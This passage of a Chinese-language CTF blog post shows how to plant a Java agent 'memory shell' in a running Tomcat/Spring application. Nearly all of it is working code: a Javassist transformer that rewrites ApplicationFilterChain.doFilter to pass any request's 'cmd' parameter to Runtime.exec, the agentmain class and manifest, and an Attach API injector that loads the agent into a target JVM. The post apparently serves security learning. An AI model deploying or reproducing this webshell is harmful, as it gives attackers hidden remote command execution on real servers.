
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

再准备Agentmain,MF配置和代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.boogipop.echoshell.agents;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: com.boogipop.echoshell.agents.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

最后准备Inject类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.boogipop.echoshell;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.boogipop.echoshell.EchoshellApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\CTFLearning\\Java\\echoshell\\target\\echoshell-0.0.1-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

image.png
连续注入2次即可触发

Agent内存马结合反序列化优雅注入

可以看这篇文章
http://wjlshare.com/archives/1582
大木头师傅写的一篇文章,其实八九不离十,思路和上面说的一模一样

愤怒的尾巴

本来最后一P就这么完结了的,没想到agent内存马踩了这么多坑,气死了气死了

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#内存马